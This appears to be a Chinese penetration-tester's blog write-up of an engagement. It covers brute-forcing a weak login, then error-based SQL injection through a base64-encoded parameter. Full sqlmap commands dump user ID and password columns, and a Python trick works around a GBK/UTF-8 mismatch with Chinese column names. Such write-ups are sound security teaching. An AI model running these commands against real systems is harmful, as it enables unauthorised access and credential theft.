當SQL注入遇到詭異的編碼問題
前言
最近給甲方爸爸做滲透測試時發現了一個詭異的SQL注入,之所以說詭異,是因為該系統數據庫連接編碼與實際的數據庫編碼不一致,并且數據庫表字段名使用了中文的字段名,導致通過正常手段無法獲取到數據庫數據。
故事開始
1、拿到資產清單后,發現有這樣一個站。

2、簡單測試了一下,發現該頁面無驗證碼,無密碼驗證次數限制,可進行暴力破解,但進行了一波爆破后,并未得到可用賬號。
3、通過系統資產表得到負責人和維護人的手機號。

4、使用負責人的手機號為賬號,暴力破解得到弱口令186xxxxxxxx/12345678登錄系統。

5、簡單看了下頁面,發現以下頁面存在base64編碼的sid參數,解碼為手機號186xxxxxxxx,改為186xxxxxxxx’再編碼發送會報錯。


6、看到這里心里大喜,顯然這里應該存在基于錯誤顯示的SQL注入,話不多說,SQLMAP一把梭,成功跑出了注入點并且得知該數據庫用戶是管理員。
sqlmap -r sql.txt -p sid --tamper base64encode --technique Esqlmap -r sql.txt -p sid --tamper base64encode --technique E --is-dba
7、至此這個漏洞算是存在了,本不想深挖,但是又發現該系統存在一個后臺頁面,于是想從數據庫中拿個賬號登陸看看。

8、當我熟練地拿起SQLMAP跑出字段名時,我驚呆了,這開發大哥居然用的中文字段名。
sqlmap -r sql.txt -p sid --tamper base64encode --technique E -D CANTEEN -T XXX_INFO_USER --columns

9、照著平常的命令dump幾條數據看看,果然跑不出來。
sqlmap -r sql.txt -p sid --tamper base64encode --technique E -D CANTEEN -T XXX_INFO_USER -C 工號,密碼 --start 1 --stop 3 --dump

10、剛開始我以為只是SQLMAP對中文的兼容性問題,嘗試了以下幾種方法,都沒有成功:
不使用報錯回顯注入,使用布爾盲注的方式
在Linux上面跑
—encoding GBK/—encoding UTF-8等
設置cmd頁面編碼為utf8
11、于是使用SQLMAP調試輸出看看數據包,發現了奇葩的事情,報錯頁面居然存在兩種編碼!
sqlmap -r sql.txt -p sid --tamper base64encode --technique E -D CANTEEN -T XXX_INFO_USER -C 工號,密碼 --start 1 --stop 3 --dump -v 7

12、為了驗證我的猜想,在burpsuite上面把SQLMAP的請求重放看看。果然,web數據庫連接編碼與后臺數據庫編碼不一致。當前burp設置的編碼為utf8,所以猜測下圖中亂碼部分的編碼為gbk。而圖11中紅框部分編碼正常部分恰好是burp亂碼部分,所以推測SQLMAP應該是使用了gbk解碼顯示。

13、看到這里,我有一句mmp不知當講不當講。吐槽完畢,還是乖乖地想起了應對方法,畢竟磚還是要搬的。重新梳理了一下字符的編碼轉換過程,對字段名做了個編碼,如下。對的,你沒有看錯,確實是編碼成了一個不正常的字符,SQLMAP正確識別出了編碼,成功跑出了數據:
sqlmap -r sql.txt -p sid --tamper base64encode -T XXX_INFO_USER -C 宸ュ彿,瀵嗙爜 --start 1 --stop 3 --dump





原理解析
1、從上面實驗中,我猜測WEB中間件連接數據庫的編碼為gbk,而數據庫字段名的實際編碼為utf8。
2、梳理一下從用戶發起HTTP請求到數據庫中間的數據流,其關鍵的編碼過程如下(以下僅為本人不太專業的理解,不一定準確)。關鍵問題在于,SQLMAP輸入的payload經過gbk編碼成字節流,然后被數據庫以utf8解碼。
3、既然知道了編碼的邏輯,那么通過反向編碼就可以讓數據庫拿到正確的中文字符串了。舉個例子,如果密碼兩個字要被數據庫解碼,那么它的字節流應該是\xe5\xaf\x86\xe7\xa0\x81。
ss = '密碼'e = s.encode('utf-8')print(e)
4、而字符串瀵嗙爜通過gbk編碼后的字節流也是\xe5\xaf\x86\xe7\xa0\x81,所以數據庫能夠把中文字段名正確地查詢:

5、所以r0yanx才有了上面的操作,把中文字符串先進行utf8編碼再進行gbk解碼得到字符串,Python示例代碼為:
#!/usr/bin/pythons = '密碼'e = s.encode('utf-8')print(e.decode('gbk'))